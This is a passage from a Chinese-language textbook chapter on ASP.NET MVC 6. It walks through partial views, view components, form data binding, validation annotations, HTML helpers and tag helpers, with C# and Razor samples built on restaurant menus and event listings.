Text="Chicken Miso Soup with Shiitake Mushrooms", Price=6.9, Category="Soup" } }); } } } 上下文类用依赖注入启动代码注册,通过控制器构造函数注入类型(代码文件 MVCSampleApp/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddMvc(); services.AddScoped<EventsAndMenusContext>(); } 下面使用这个模型介绍从服务器端代码加载的部分视图,然后介绍客户端的 JavaScript代码请求的部分视图。 1.使用服务器端代码中的部分视图 在ViewsDemoController类中,构造函数改为注入EventsAndMenusContext类型(代码 文件MVCSampleApp/Controllsers/ViewsDemoController.cs): public class ViewsDemoController : Controller { private EventsAndMenusContext _context; public ViewsDemoController(EventsAndMenusContext context) { _context = context; } // etc. 动作方法UseAPartialView1将EventsAndMenus的一个实例传递给视图(代码文件 MVCSampleApp/Controllsers/ViewsDemoController.cs): public IActionResult UseAPartialView1() => View(_context); 这个视图被定义为使用EventsAndMenusContext类型的模型。使用HTML辅助方法 Html.Par-tialAsync可以显示部分视图。该方法返回一个Task<HtmlString>。在下面的示例 代码中,使用Razor语法把该字符串写为div元素的内容。PartialAsync方法的第一个参数接 受部分视图的名称。使用第二个参数,则PartialAsync方法允许传递模型。如果没有传递 模型,那么部分视图可以访问与视图相同的模型。这里,视图使用了 EventsAndMenusContext类型的模型,部分视图只使用了该模型的一部分,所用模型的类 型为IEnumerable<Event>(代码文件 MVCSampleApp/Views/ViewsDemo/UseAPartialView1.cshtml): @model MVCSampleApp.Models.EventsAndMenusContext @{ ViewBag.Title = "Use a Partial View"; ViewBag.EventsTitle = "Live Events"; } <h2>Use a Partial View</h2> <div>this is the main view</div> <div> @await Html.PartialAsync("ShowEvents", Model.Events) </div> 不使用异步方法的话,还可以使用同步变体Html.Partial。这是一个返回HtmlString的 扩展方法。 另外一种在视图内呈现部分视图的方法是使用HTML辅助方法 Html.RenderPartialAsync,该方法定义为返回Task。该方法将部分视图的内容直接写入响 应流。这样,就可以在Razor代码块中使用RenderPartialAsync了。 部分视图的创建方式类似于标准视图。可以访问模型,还可以使用ViewBag属性访问 字典。部分视图会收到字典的一个副本,以接收可以使用的相同字典数据(代码文件 MVCSampleApp/Views/ViewsDemo/ShowEvents.cshtml): @using MVCSampleApp.Models @model IEnumerable<Event> <h2> @ViewBag.EventsTitle </h2> <table> @foreach (var item in Model) { <tr> <td>@item.Day.ToShortDateString()</td> <td>@item.Text</td> </tr> } </table> 运行应用程序,视图、部分视图和布局都将呈现出来,如图41-5所示。 图41-5 2.从控制器中返回部分视图 到目前为止,都是直接加载部分视图,而没有与控制器交互。也可以使用控制器来返 回部分视图。 在下面的代码段中,类ViewsDemoController内定义了两个动作方法。第一个动作方 法UsePartialView2返回一个标准视图,第二个动作方法ShowEvents使用基类方法 PartialView返回一个部分视图。前面已经创建并使用过部分视图ShowEvents,这里再次使 用它。PartialView方法把包含事件列表的模型传递给部分视图(代码文件 MVCSampleApp/Controllers/ViewDemo-Controller.cs): public ActionResult UseAPartialView2() => View(); public ActionResult ShowEvents() { ViewBag.EventsTitle = "Live Events"; return PartialView(_context.Events); } 当部分视图在控制器中提供时,可以在客户端代码中直接调用它。下面的代码段使用 了jQuery:事件处理程序链接到按钮的click事件。在单击事件处理程序内,利用jQuery的 load函数向服务器发出了请求/ViewsDemo/ShowEvents的一个GET请求。该请求返回一个 部分视图,部分视图的结果放到了名为events的div元素内(代码文件 MVCSampleApp/Views/ViewsDemo/UseAPartial View2.cshtml): @model MVCSampleApp.Models.EventsAndMenusContext @{ ViewBag.Title = "Use a Partial View"; } <script src="~/lib/jquery/dist/jquery.js"></script> <script> $(function () { $("#getEvents").click(function () { $("#events").load("/ViewsDemo/ShowEvents"); }); }); </script> <h2>Use a Partial View</h2> <div>this is the main view</div> <button id="FileName_getEvents">Get Events</button> <div id="FileName_events"> </div> 41.4.6 使用视图组件 ASP.NET MVC 6提供了部分视图的新替代品:视图组件。视图组件非常类似于部分 视图;主要的区别在于视图组件与控制器并不相关。这使得它很容易用于多个控制器。视 图组件非常有用的例子有菜单的动态导航、登录面板或博客的侧栏内容。这些场景都独立 于单个控制器。 与控制器和视图一样,视图组件也有两个部分。在视图组件中,控制器的功能由派生 自ViewComponent的类(或带有属性ViewComponent的POCO类)接管。用户界面的定义 类似于视图,但是调用视图组件的方法是不同的。 下面的代码段定义了一个派生自基类ViewComponent的视图组件。这个类利用前面在 Startup类中注册的EventsAndMenusContext类型,可用于依赖注入。其工作原理类似于带 有构造函数注入的控制器。InvokeAsync方法定义为从显示视图组件的视图中调用。这个 方法可以拥有任意数量和类型的参数,因为IViewComponentHelper接口定义的方法使用 params关键字指定了数量灵活的参数。除了使用异步方法实现之外,还可以以同步方式实 现该方法,返回IViewComponentResult而不是Task<IViewComponentResult>。然而,通常 最好使用异步变体,例如用于访问数据库。视图组件需要存储在ViewComponents目录 中。这个目录本身可以放在项目中的任何地方(代码文件 MVCSampleApp/ViewComponents/EventListViewComponent.cs): public class EventListViewComponent : ViewComponent { private readonly EventsAndMenusContext _context; public EventListViewComponent(EventsAndMenusContext context) { _context = context; } public Task<IViewComponentResult> InvokeAsync (DateTime from, DateTime to) { return Task.FromResult<IViewComponentResult>( View(EventsByDateRange(from, to))); } private IEnumerable<Event> EventsByDateRange(DateTime from, DateTime to) { return _context.Events.Where(e => e.Day >= from && e.Day <= to); } } 视图组件的用户界面在下面的代码段内定义。视图组件的视图可以用项模板MVC View Page创建;它使用相同的Razor语法。具体地说,它必须放入 Components/[viewcomponent]文件夹,例如Components/EventList。为了使视图组件可用于 所有的控件,需要在Shared文件夹中为视图创建Components文件夹。只使用特定控制器中 的视图组件时,可以把它放到视图控制器文件夹中。这与视图的区别是,它需要命名为 default.cshtml。也可以创建其他视图名称;但需要在InvokeAsync方法中使用一个参数为 返回的View方法指定这些视图(代码文件 MVCSampleApp/Views/Shared/Components/EventList/default.cshtml): @using MVCSampleApp.Models; @model IEnumerable<Event> <h3>Formula 1 Calendar</h3> <ul> @foreach (var ev in Model) { <li><div>@ev.Day.ToString("D")</div><div>@ev.Text</div></li> } </ul> 现在完成了视图组件后,可以调用InvokeAsync方法显示它。Component是视图的一个 动态创建的属性,返回一个实现了IViewComponentHelper的对象。IViewComponentHelper 允许调用同步或异步方法,例如Invoke、InvokeAsync、RenderInvoke和 RenderInvokeAsync。当然,只能调用由视图组件实现的这些方法,并且只使用相应的参 数(代码文件MVCSampleApp/Views/ViewsDemo/UseViewComponent.cshtml): @{ ViewBag.Title = "View Components Sample"; } <h2>@ViewBag.Title</h2> <p> @await Component.InvokeAsync("EventList", new DateTime(2016, 4, 10), new DateTime(2016, 4, 24)) </p> 运行应用程序,呈现的视图组件如图41-6所示。 图41-6 41.4.7 在视图中使用依赖注入 如果服务需要直接出现在视图中,可以使用inject关键字注入: @using MVCSampleApp.Services @inject ISampleService sampleService <p> @string.Join("*", sampleService.GetSampleStrings() ) </p> 此时,最好使用AddScoped方法注册服务。如前所述,以这种方式注册服务意味着只 为一个HTTP请求实例化一次。使用AddScoped在控制器和视图中注入相同的服务,也只 为一个请求实例化一次。 41.4.8 为多个视图导入名称空间 所有之前关于视图的示例都使用using关键字打开了所需的所有名称空间。除了为每 个视图打开名称空间之外,还可以使用Visual Studio项模板MVC View Imports Page创建一 个文件(_ViewImports.cshml),它定义了所有的using声明(代码文件 MVCSampleApp/Views/_ViewImports. cshtml): @using MVCSampleApp.Models @using MVCSampleApp.Services 有了这个文件,就不需要在所有视图中添加所有的using关键字。 41.5 从客户端提交数据 到现在为止,在客户端只是使用HTTP GET请求来获取服务器端的HTML代码。那 么,如何从客户端发送表单数据? 为提交表单数据,可为控制器SubmitData创建视图CreateMenu。该视图包含一个 HTML表单元素,它定义了应把什么数据发送给服务器。表单方法声明为HTTP POST请 求。定义输入字段的input元素的名称全部与Menu类型的属性对应(代码文件 MVCSampleApp/Views/SubmitData/Create-Menu.cshtml): @{ ViewBag.Title = "Create Menu"; } <h2>Create Menu</h2> <form action="/SubmitData/CreateMenu" method="post"> <fieldset> <legend>Menu</legend> <div>Id:</div> <input name="id" /> <div>Text:</div> <input name="text" /> <div>Price:</div> <input name="price" /> <div>Category:</div> <input name="category" /> <div></div> <button type="submit">Submit</button> </fieldset> </form> 图41-7显示了在浏览器中打开的页面。 图41-7 在SubmitData控制器内,创建了两个CreateMenu动作方法:一个用于HTTP GET请 求,另一个用于HTTP POST请求。因为C#中存在同名的不同方法,所以这些方法的参数 数量或参数类型必须不同。动作方法也存在这种要求。另外,动作方法还需要与HTTP请 求方法区分开。默认情况下,HTTP请求方法是GET,应用HttpPost特性后,请求方法是 POST。为读取HTTP POST数据,可以使用Request对象中的信息。但是,定义带参数的 CreateMenu方法要简单多了。参数的名称与表单字段的名称匹配(代码文件 MVCSampleApp/Controllers/SubmitDataController.cs): public IActionResult Index() => View(); public IActionResult CreateMenu() => View(); [HttpPost] public IActionResult CreateMenu(int id, string text, double price, string category) { var m = new Menu { Id = id, Text = text, Price = price }; ViewBag.Info = $"menu created: {m.Text}, Price: {m.Price}, category: {m.Category}"; return View("Index"); } 为了显示结果,仅显示ViewBag.Info的值(代码文件 MVCSampleApp/Views/SubmitData/Index. cshtml): @ViewBag.Info 41.5.1 模型绑定器 除了在动作方法中使用多个参数,还可以使用类型,类型的属性与输入的字段名称匹 配(代码文件MVCSampleApp/Controllers/SubmitDataController.cs): [HttpPost] public IActionResult CreateMenu2(Menu m ) { ViewBag.Info = $"menu created: {m.Text}, Price: {m.Price}, category: {m.Category}"; return View("Index"); } 提交表单数据时,会调用CreateMenu方法,它在Index视图中显示了提交的菜单数 据,如图41-8所示。 图41-8 模型绑定器负责传输HTTP POST请求中的数据。模型绑定器实现IModelBinder接口。 默认情况下,使用FormCollectionModelBinder类将输入字段绑定到模型。这个绑定器支持 基本类型、模型类(如Menu类型)以及实现了ICollection<T>、IList<T>和 IDictionary<TKey, TValue>的集合。 如果并不是所有参数类型的属性都应从模型绑定器中填充,此时可以使用Bind特性。 通过这个特性,可以指定一个属性名列表,这些属性被应用于绑定。 还可以使用不带参数的动作方法将输入数据传递给模型,如下面的代码段所示。这段 代码创建了Menu类的一个新实例,并把这个实例传递给Controller基类的 TryUpdateModelAsync方法。如果在更新后,被更新的模型处于无效状态, TryUpdateModelAsync就返回false: [HttpPost] public async Task<IActionResult> CreateMenu3Result() { var m = new Menu(); bool updated = await TryUpdateModelAsync<Menu>(m); if (updated) { ViewBag.Info = $"menu created: {m.Text}, Price: {m.Price}, category: {m.Category}"; return View("Index"); } else { return View("Error"); } } 41.5.2 注解和验证 可以向模型类型添加一些注解,当更新数据时,会将这些注解用于验证。名称空间 System. ComponentModel.DataAnnotations中包含的特性可用来为客户端数据指定一些信 息,或者用来进行验证。 使用其中的一些特性来修改Menu类型(代码文件 MVCSampleApp/Models/Menu.cs): public class Menu { public int Id { get; set; } [Required, StringLength(50)] public string Text { get; set; } [Display(Name="Price"), DisplayFormat(DataFormatString="{0:C}")] public double Price { get; set; } [DataType(DataType.Date)] public DateTime Date { get; set; } [StringLength(10)] public string Category { get; set; } } 可用于验证的特性包括:用于比较不同属性的CompareAttribute、用于验证有效信用 卡号的CreditCardAttribute、用来验证电子邮件地址的EmailAddressAttribute、用来比较输 入与枚举值的EnumDataTypeAttribute以及用来验证电话号码的PhoneAttribute。 还可以使用其他特性来获得要显示的值或者用在错误消息中的值,如 DataTypeAttribute和DisplayFormatAttribute。 为了使用验证特性,可以在动作方法内使用ModelState.IsValid来验证模型的状态,如 下所示(代码文件MVCSampleApp/Controllers/SumitDataController.cs): [HttpPost] public IActionResult CreateMenu4(Menu m) { if (ModelState.IsValid) { ViewBag.Info = $"menu created: {m.Text}, Price: {m.Price}, category: {m.Category}"; } else { ViewBag.Info = "not valid"; } return View("Index"); } 如果使用由工具生成的模型类,那么很难给属性添加特性。工具生成的类被定义为部 分类,可以通过为其添加属性和方法、实现额外的接口或者实现它们使用的部分方法来扩 展这些类。对于已有的属性和方法,如果不能修改类型的源代码,则是不能添加特性的。 但是在这种情况下,还是可以利用一些帮助。现在假定Menu类是一个工具生成的部分 类。可以用一个不同名的新类(如MenuMetadata)定义与实体类相同的属性并添加注 解: public class MenuMetadata { public int Id { get; set; } [Required, StringLength(25)] public string Text { get; set; } [Display(Name="Price"), DisplayFormat(DataFormatString="{0:C}")] public double Price { get; set; } [DataType(DataType.Date)] public DateTime Date { get; set; } [StringLength(10)] public string Category { get; set; } } MenuMetadata类必须链接到Menu类。对于工具生成的部分类,可以在同一个名称空 间中创建另一个部分类型,将MetadataType特性添加到创建该连接的类型定义中: [MetadataType(typeof(MenuMetadata))] public partial class Menu { } HTML辅助方法也可以使用注解来向客户端添加信息。 41.6 使用HTML Helper HTML Helper是创建HTML代码的辅助程序。可以在视图中通过Razor语法直接使用 它们。 Html是视图基类RazorPage的一个属性,它的类型是IHtmlHelper。HTML辅助方法被 实现为扩展方法,用于扩展IHtmlHelper接口。 类InputExtensions定义了用于创建复选框、密码控件、单选按钮和文本框控件的 HTML辅助方法。辅助方法Action和RenderAction由类ChildActionExtensions定义。用于显 示的辅助方法由类DisplayExtensions定义。用于HTML表单的辅助方法由类FormExtensions 定义。 接下来就看一些使用HTML Helper的例子。 41.6.1 简单的Helper 下面的代码段使用了HTML辅助方法BeginForm、Label和CheckBox。BeginForm开始 一个表单元素。还有一个用于结束表单元素的EndForm。示例使用了BeginForm方法返回 的MvcForm所实现的IDisposable接口。在释放MvcForm时,会调用EndForm。因此,可以 将BeginForm方法放在一条using语句中,在闭花括号处结束表单。DisplayName方法直接 返回参数的内容,CheckBox是一个input元素,其type特性被设置为checkbox(代码文件 MVCSampleApp/Views/HelperMethods/SimpleHelper.cshtml): @using (Html.BeginForm()) { @Html.DisplayName("Check this (or not)") @Html.CheckBox("check1") } 得到的HTML代码如下所示。CheckBox方法创建了两个同名的input元素,其中一个 设置为隐藏。其原因是,如果一个复选框的值为false,那么浏览器不会把与之对应的信息 放到表单内容中传递给服务器。只有选中的复选框的值才会传递给服务器。这种HTML特 征在自动绑定到动作方法的参数时会产生问题。简单的解决办法是使用辅助方法 CheckBox。该方法会创建一个同名但被隐藏的input元素,并将其设为false。如果没有选 中该复选框,则会把隐藏的input元素传递给服务器,绑定false值。如果选中了复选框,则 同名的两个input元素都会传递给服务器。第一个input元素设为true,第二个设为false。在 自动绑定时,只选择第一个input元素进行绑定: <form action="/HelperMethods/SimpleHelper" method="post"> Check this (or not) <input id="FileName_check1" name="check1" type="checkbox" value="true" /> <input name="check1" type="hidden" value="false" /> </form> 41.6.2 使用模型数据 辅助方法可以使用模型数据。下例创建了一个Menu对象。本章前面在Models目录中 声明了此类型。然后,将该Menu对象作为模型传递给视图(代码文件 MVCSampleApp/Controllers/HTML-HelpersController.cs): public IActionResult HelperWithMenu() => View(GetSampleMenu()); private Menu GetSampleMenu() => new Menu { Id = 1, Text = "Schweinsbraten mit Knödel und Sauerkraut", Price = 6.9, Date = new DateTime(2016, 10, 5), Category = "Main" }; 视图有一个模型定义为Menu类型。与前例一样,HTML辅助方法DisplayName只是返 回参数的文本。Display方法使用一个表达式作为参数,其中以字符串格式传递一个属性 名。该方法试图找出具有这个名称的属性,然后使用属性存取器来返回该属性的值(代码 文件MVCSampleApp/Views/HTMLHelpers/HelperWithMenu.cshtml): @model MVCSampleApp.Models.Menu @{ ViewBag.Title = "HelperWithMenu"; } <h2>Helper with Menu</h2> @Html.DisplayName("Text:") @Html.Display("Text") <br /> @Html.DisplayName("Category:") @Html.Display("Category") 在得到的HTML代码中,可以从调用DisplayName和Display方法的输出中看到这一 点: Text: Schweinsbraten mit Kn&#246; del und Sauerkraut <br /> Category: Main  注意: 辅助方法也提供强类型化方法来访问模型成员,如41.6.5节所示。 41.6.3 定义HTML特性 大多数HTML辅助方法都有一些可传递任何HTML特性的重载版本。例如,下面的 TextBox方法创建一个文本类型的input元素。其第一个参数定义了文本框的名称,第二个 参数定义了文本框设置的值。TextBox方法的第三个参数是object类型,允许传递一个匿名 类型,在其中将每个属性改为HTML元素的一个特性。在这里,input元素的结果是将 required特性设为required,将maxlength特性设为15,将class特性设为CSSDemo。因为class 是C#的一个关键字,所以不能直接设为一个属性,而是要加上@作为前缀,以生成用于 CSS样式的class特性: @Html.TextBox("text1", "input text here", new { required="required", maxlength=15, @class="CSSDemo" }); 得到的HTML输出如下所示: <input class="Test" id="FileName_text1" maxlength="15" name="text1" required= "required" type="text" value="input text here" /> 41.6.4 创建列表 为显示列表,需要使用DropDownList和ListBox等辅助方法。这些方法会创建HTML select元素。 在控制器内,首先创建一个包含键和值的字典。然后使用自定义扩展方法 ToSelectListItems,将该字典转换为SelectListItem的列表。DropDownList和ListBox方法使 用了SelectListItem集合(代码文件 MVCSampleApp/Controllers/HTMLHelpersController.cs): public IActionResult HelperList() { var cars = new Dictionary<int, string>(); cars.Add(1, "Red Bull Racing"); cars.Add(2, "McLaren"); cars.Add(3, "Mercedes"); cars.Add(4, "Ferrari"); return View(cars.ToSelectListItems(4)); } 自定义扩展方法ToSelectListItems在扩展了IDictionary<int, string>的 SelectListItemsExtensions类中定义,IDictionary<int, string>是cars集合中的类型。在其实现 中,只是为字典中的每一项返回一个新的SelectListItem对象(代码文件 MVCSampleApp/Extensions/SelectListItemsExtensions.cs): public static class SelectListItemsExtensions { public static IEnumerable<SelectListItem> ToSelectListItems( this IDictionary<int, string> dict, int selectedId) { return dict.Select(item => new SelectListItem { Selected = item.Key == selectedId, Text = item.Value, Value = item.Key.ToString() }); } } 在视图中,辅助方法DropDownList直接访问从控制器返回的模型(代码文件 MVCSampleApp/Views/HTMLHelpers/HelperList.cshtml): @{ ViewBag.Title = "Helper List"; } @model IEnumerable<SelectListItem> <h2>Helper2</h2> @Html.DropDownList("carslist", Model) 得到的HTML创建了一个select元素,该元素包含通过SelectListItem创建的一些option 子元素。这些HTML还定义了从控制器中返回的选中项: <select id="FileName_carslist" name="carslist"> <option value="1">Red Bull Racing</option> <option value="2">McLaren</option> <option value="3">Mercedes</option> <option selected="selected" value="4">Ferrari</option> </select> 41.6.5 强类型化的Helper HTML辅助方法提供了强类型化的方法来访问从控制器传递的模型。这些方法都带有 后缀For。例如,可以使用TextBoxFor代替TextBox方法。 下面的示例再次使用返回单个实体的控制器(代码文件 MVCSampleApp/Controllers/HTML-HelpersController.cs): public IActionResult StronglyTypedMenu() => View(GetSampleMenu()); 视图使用Menu类型作为模型,所以可以使用DisplayNameFor和DisplayFor方法直接访 问Menu属性。DisplayNameFor默认返回属性名(在这里是Text属性), DisplayFor返回属 性值(代码文件MVCSampleApp/Views/HTMLHelpers/StronglyTypedMenu.cshtml): @model MVCSampleApp.Models.Menu @Html.DisplayNameFor(m => m.Text) <br /> @Html.DisplayFor(m => m.Text) 类似地,可以使用Html.TextBoxFor(m => m.Text),它返回一个允许设置模型的 Text属性的input元素。该方法还使用了添加到Menu类型的Text属性的注解。Text属性添加 了Required和MaxStringLength特性,所以TextBoxFor方法会返回data-val-length、data-val- length-max和data-val-required特性: <input data-val="true" data-val-length="The field Text must be a string with a maximum length of 5 0." data-val-length-max="50" data-val-required="The Text field is required." id="FileName_Text" name="Text" type="text" value="Schweinsbraten mit Knödel und Sauerkraut" /> 41.6.6 编辑器扩展 除了为每个属性使用至少一个辅助方法外,EditorExtensions类中的辅助方法还给一个 类型的所有属性提供了一个编辑器。 使用与前面相同的Menu模型,通过方法Html.EditorFor(m => m)构建一个用于编辑 菜单的完整UI。该方法调用的结果如图41-9所示。 图41-9 除了使用Html.EditorFor(m => m),还可以使用Html.EditorForModel。 EditorForModel方法会使用视图的模型,不需要显式指定模型。EditorFor在使用其他数据 源(例如模型提供的属性)方面更加灵活,EditorForModel需要添加的参数更少。 41.6.7 实现模板 使用模板是扩展HTML Helper的结果的一种好方法。模板是HTML辅助方法被隐式或 显式使用的一个简单视图,它们存储在特殊的文件夹中。显示模板存储在视图文件夹下的 DisplayTemplates文件夹中(如Views/HelperMethods),或者存储在共享文件夹中(如 Shared/DisplayTemplates)。共享文件夹由全部视图使用,特定的视图文件夹则只有该文 件夹中的视图可以使用。编辑器模板存储在EditorTemplates文件夹中。 现在看一个示例。在Menu类型中,Date属性有一个注解DataType,其值为 DataType.Date。指定该特性时,DateTime类型默认并不会显示为日期加时间的形式,而 是显示为短日期格式(代码文件MVCSampleApp/Models/Menu.cs): public class Menu { public int Id { get; set; } [Required, StringLength(50)] public string Text { get; set; } [Display(Name="Price"), DisplayFormat(DataFormatString="{0:c}")] public double Price { get; set; } [DataType(DataType.Date)] public DateTime Date { get; set; } [StringLength(10)] public string Category { get; set; } } 现在为日期创建了模板。这里使用了长日期字符串格式D来返回Model,将这个日期 字符串格式D嵌入在CSS类为markRed的div标记内(代码文件 MVCSampleApp/Views/HTMLHelpers/DisplayTemplates/Date.cshtml): <div class="markRed"> @string.Format("{0:D}", Model) </div> CSS类markRed在样式表中定义,用于设置红色(代码文件 MVCSampleApp/wwwroot/styles/Site.css): .markRed { color: #f00; } 现在像DisplayForModel这样用于显示的HTML Helper可以使用已定义的模板。模型的 类型是Menu,所以DisplayForModel方法会显示Menu类型的所有属性。对于Date,它找到 模板Date.cshtml,所以会使用该模板以CSS样式显示长日期格式的日期(代码文件 MVCSampleApp/Views/HTML-Helpers/Display.cshtml): @model MVCSampleApp.Models.Menu @{ ViewBag.Title = "Display"; } <h2>@ViewBag.Title</h2> @Html.DisplayForModel() 如果在同一个视图内,某个类型应该有不同的表示,则可以为模板文件使用其他名 称。之后就可以使用UIHint特性来指定这个模板的名称,或者使用辅助方法的模板参数指 定模板。 41.7 标记辅助程序 ASP.NET MVC 6提供了一种新技术,可以用来代替HTML Helper:标记辅助程序。 对于标记辅助程序,不要编写混合了HTML的C#代码,而是使用在服务器上解析的HTML 特性和元素。如今许多JavaScript库用自己的特性(如Angular)扩展了HTML,所以可以 很方便地把自定义的HTML特性用于服务器端技术。许多ASP.NET MVC标记辅助程序都 有前缀asp-,所以很容易看出在服务器上解析了什么。这些特性不发送给客户端,而是在 服务器上解析,生成HTML代码。 41.7.1 激活标记辅助程序 要使用ASP.NET MVC标记辅助程序,需要调用addTagHelper来激活标记。它的第一 个参数定义了要使用的类型(*会打开程序集的所有标记辅助程序);第二个参数定义了 标记辅助程序的程序集。使用removeTagHelper,会再次取消激活标记辅助程序。取消激 活标记辅助程序可能很重要,例如不与脚本库发生命名冲突。给内置的标记辅助程序使用 asp-前缀,发生冲突的可能性最小,但如果内置的标记辅助程序与其他的标记辅助程序同 名,其他的标记辅助程序有用于脚本库的HTML特性,就很容易发生冲突。 为了使标记辅助程序可用于所有的视图,应把addTagHelper语句添加到共享文件 _ViewImports.cshtml中(代码文件MVCSampleApp/Views/_ViewImports.cshtml): @addTagHelper *, Microsoft.AspNet.Mvc.TagHelpers 41.7.2 使用锚定标记辅助程序 下面从扩展锚元素a的标记辅助程序开始。标记辅助程序的示例控制器是 TagHelpersController。Index动作方法返回一个视图,用来显示锚标记辅助程序(代码文 件MVCSampleApp/Controllers/TagHelpersController.cs): public class TagHelpersController : Controller { public IActionResult Index() => View(); // etc. } 锚标记辅助程序定义了asp-controller和asp-action特性。之后,控制器和动作方法用来 建立锚元素的URL。在第二个和第三个例子中,不需要控制器,因为视图来自相同的控制 器(代码文件MVCSampleApp/Views/TagHelpers/Index.cshtml): <a asp-controller="Home" asp-action="Index" >Home</a> <br /> <a asp-action="LabelHelper" >Label Tag Helper</a> <br /> <a asp-action="InputTypeHelper" >Input Type Tag Helper</a> 以下代码段显示了生成的HTML代码。asp-controller和asp-action特性为a元素生成了 href特性。在第一个示例中,为了访问Home控制器中的Index动作方法,因为它们都是路 由定义的默认值,所以结果中只需要指向/的href。指定asp-action LabelHelper时,href指 向/TagHelpers/LabelHelper,即当前控制器中的动作方法LabelHelper: <a href="/">Home</a> <br /> <a href="/TagHelpers/LabelHelper">Label Tag Helper</a> <br /> <a href="/TagHelpers/InputTypeHelper">Input Type Tag Helper</a> 41.7.3 使用标签标记辅助程序 下面的代码段展示了标签标记辅助程序的功能,其中动作方法LabelHelper把Menu对 象传递到视图(代码文件MVCSampleApp/Controllers/TagHelpersController.cs): public IActionResult LabelHelper() => View(GetSampleMenu()); private Menu GetSampleMenu() => new Menu { Id = 1, Text = "Schweinsbraten mit Knödel und Sauerkraut", Price = 6.9, Date = new DateTime(2016, 10, 5), Category = "Main" }; } Menu类应用了一些数据注解,用来影响标记辅助程序的结果。看一看Text属性的 Display特性。它将Display特性的Name属性设置为Menu (代码文件 MVCSampleApp/Models/Menu.cs): public class Menu { public int Id { get; set; } [Required, StringLength(50)] [Display(Name = "Menu")] public string Text { get; set; } [Display(Name = "Price"), DisplayFormat(DataFormatString = "{0:C}")] public double Price { get; set; } [DataType(DataType.Date)] public DateTime Date { get; set; } [StringLength(10)] public string Category { get; set; } } 视图利用了应用于标签控件的asp-for特性。用于此特性的值是视图模型的一个属性。 在Visual Studio 2015中,可以使用智能感知来访问Text、Price和Date属性(代码文件 MVCSampleApp/Views/TagHelpers/LabelHelper.cshtml): @model MVCSampleApp.Models.Menu @{ ViewBag.Title = "Label Tag Helper"; } <h2>@ViewBag.Title</h2> <label asp-for="Text" ></label> <label asp-for="Price" ></label> <br /> <label asp-for="Date" ></label> 在生成的HTML代码中,可以看到for特性,它引用的元素与属性同名,内容是属性名 或Display特性的值。还可以使用此特性本地化值: <label for="Text">Menu</label> <label for="Price">Price</label> <br /> <label for="Date">Date</label> 41.7.4 使用输入标记辅助程序 HTML标签通常与input元素相关。下面的代码段说明了使用input元素和标记辅助程序 会生成什么: <label asp-for="Text"></label> <input asp-for="Text" /> <br/> <label asp-for="Price"></label> <input asp-for="Price" /> <br /> <label asp-for="Date"></label> <input asp-for="Date" /> 检查生成的HTML代码的结果,会发现input类型的标记辅助程序根据属性的类型创建 一个type特性,它们也应用了DateType特性。属性Price的类型是double,得到一个数字输 入类型。因为Date属性的DataType应用了DataType.Date值,所以输入类型是日期。此外, 还创建了data-val-length、data-val-length-max和data-val-required特性,用于注解: <label for="Text">Menu</label> <input type="text" data-val="true" data-val-length= "The field Menu must be a string with a maximum length of 50." data-val-length-max="50" data-val-required="The Menu field is required." id="FileName_Text" name="Text" value="Schweinsbraten mit Knödel und Sauerkraut" /> <label for="Price">Price</label> <input type="number" data-val="true" data-val-required="The Price field is required." id="FileName_Price" name="Price" value="6.9" /> <br /> <label for="Date">Date</label> <input type="date" data-val="true" data-val-required="The Date field is required." id="FileName_Date" name="Date" value="10/5/2016" /> 现代浏览器给HTML 5输入控件(如日期控件)提供了特别的外观。Microsoft Edge的 输入日期控件如图41-10所示。 图41-10 41.7.5 使用表单进行验证 为了把数据发送到服务器,输入字段需要用表单包围起来。表单的标记辅助程序使用 asp-method和asp-controller定义了action特性。对于input控件,验证信息是由这些控件定义 的。需要显示验证错误。为了显示,验证消息标记辅助程序用asp-validation-for扩展了span 元素(代码文件MVCSampleApp/Views/TagHelpers/FormHelper.cs): <form method="post" asp-method="FormHelper"> <input asp-for="Id" hidden="hidden" /> <hr /> <label asp-for="Text"></label> <div> <input asp-for="Text" /> <span asp-validation-for="Text"></span> </div> <br /> <label asp-for="Price"></label> <div> <input asp-for="Price" /> <span asp-validation-for="Price"></span> </div> <br /> <label asp-for="Date"></label> <div> <input asp-for="Date" /> <span asp-validation-for="Date"></span> </div> <label asp-for="Category"></label> <div> <input asp-for="Category" /> <span asp-validation-for="Category"></span> </div> <input type="submit" value="Submit" /> </form> 控制器检查ModelState,验证接收数据是否正确。如果不正确,就再次显示同样的视 图(代码文件MVCSampleApp/Controllers/TagHelpersController.cs): public IActionResult FormHelper() => View(GetSampleMenu()); [HttpPost] public IActionResult FormHelper(Menu m) { if (! ModelState.IsValid) { return View(m); } return View("ValidationHelperResult", m); } 运行应用程序时,错误信息如图41-11所示。 图41-11 41.7.6 创建自定义标记辅助程序 除了使用预定义的标记辅助程序之外,也可以创建自定义的标记辅助程序。本节建立 的示例自定义标记辅助程序扩展了HTML表格元素,为列表中的每项显示一行,为每个属 性显示一列。 控制器实现了方法CustomHelper,以返回Menu对象的列表(代码文件 MVCSampleApp/Controllers/TagHelpersController.cs): public IActionResult CustomHelper() => View(GetSampleMenus()); private IList<Menu> GetSampleMenus() => new List<Menu>() { new Menu { Id = 1, Text = "Schweinsbraten mit Knödel und Sauerkraut", Price = 8.5, Date = new DateTime(2016, 10, 5), Category = "Main" }, new Menu { Id = 2, Text = "Erdäpfelgulasch mit Tofu und Gebäck", Price = 8.5, Date = new DateTime(2016, 10, 6), Category = "Vegetarian" }, new Menu { Id = 3, Text = "Tiroler Bauerngröst'l mit Spiegelei und Krautsalat", Price = 8.5, Date = new DateTime(2016, 10, 7), Category = "Vegetarian" } }; 现在进入标记辅助程序。自定义的实现代码需要这些名称空间: using Microsoft.AspNet.Mvc.Rendering; using Microsoft.AspNet.Razor.Runtime.TagHelpers; using System.Collections.Generic; using System.Linq; using System.Reflection; 自定义标记辅助程序派生自基类TagHelper。特性TargetElement定义了标记辅助程序 扩展的HTML元素。这个标记辅助程序扩展了table元素;因此,字符串"table"被传递给元 素的构造函数。使用Attributes属性,可以定义一个特性列表,这些特性会分配给标记辅助 程序使用的HTML元素。这个标记辅助程序使用items特性。标记辅助程序可以使用这个语 法:<table items="Model"></table>,其中Model需要是一个可以迭代的列表。如果创建的 标记辅助程序应该用于多个HTML元素,那么只需要多次应用特性TargetElement。为了把 items特性值自动分配给Items属性,特性HtmlAttributeName要分配给该属性(代码文件 MVCSampleApp/Extensions/TableTagHelper.cs): [TargetElement("table", Attributes = ItemsAttributeName)] public class TableTagHelper : TagHelper { private const string ItemsAttributeName = "items"; [HtmlAttributeName(ItemsAttributeName)] public IEnumerable<object> Items { get; set; } // etc. } 